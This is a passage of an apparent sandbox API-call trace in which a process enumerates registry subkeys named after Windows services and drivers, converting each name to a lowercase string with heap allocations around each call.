BaseAddress=0x21f2eb0) returned 1 [0250.977] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0250.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0250.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1cd0, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0250.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.978] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.978] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.978] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.978] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0250.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0250.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1b68, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0250.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.978] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.978] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.978] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.978] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0250.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0250.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1cd0, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0250.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.978] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.978] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.978] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.978] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0250.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0250.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1b68, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0250.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.978] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.978] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.978] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.978] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0250.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0250.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1cd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0250.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.979] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.979] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.979] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.979] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0250.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0250.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.979] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.979] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.979] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.979] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0250.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0250.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1cd0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0250.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.979] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.979] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.979] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.979] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0250.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0250.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.980] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.980] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.980] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.980] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0250.980] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0250.980] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1cd0, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0250.980] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.980] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.980] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.980] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.980] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0250.980] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.980] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0250.980] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.980] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.980] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.980] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.980] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0250.980] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.980] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0250.980] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.980] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.980] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.980] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.980] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0250.981] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.981] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0250.981] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.981] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.981] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.981] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.981] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0250.981] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0250.981] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1cd0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0250.981] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.981] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.981] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.981] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.981] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0250.981] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0250.981] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1b68, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0250.981] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.981] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.981] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.981] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.981] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0250.981] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0250.981] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1cd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0250.981] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.982] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.982] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.982] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.982] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0250.982] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0250.982] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0250.982] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.982] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.982] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.982] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.982] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0250.982] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0250.982] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1cd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0250.982] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.982] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.982] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.982] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.982] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0250.982] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0250.982] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0250.982] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.982] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.982] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.982] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.982] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0250.983] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0250.983] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0250.983] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.983] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.983] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.983] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.983] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0250.983] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0250.983] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1b68, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0250.983] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.983] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.983] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.983] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.983] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0250.983] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 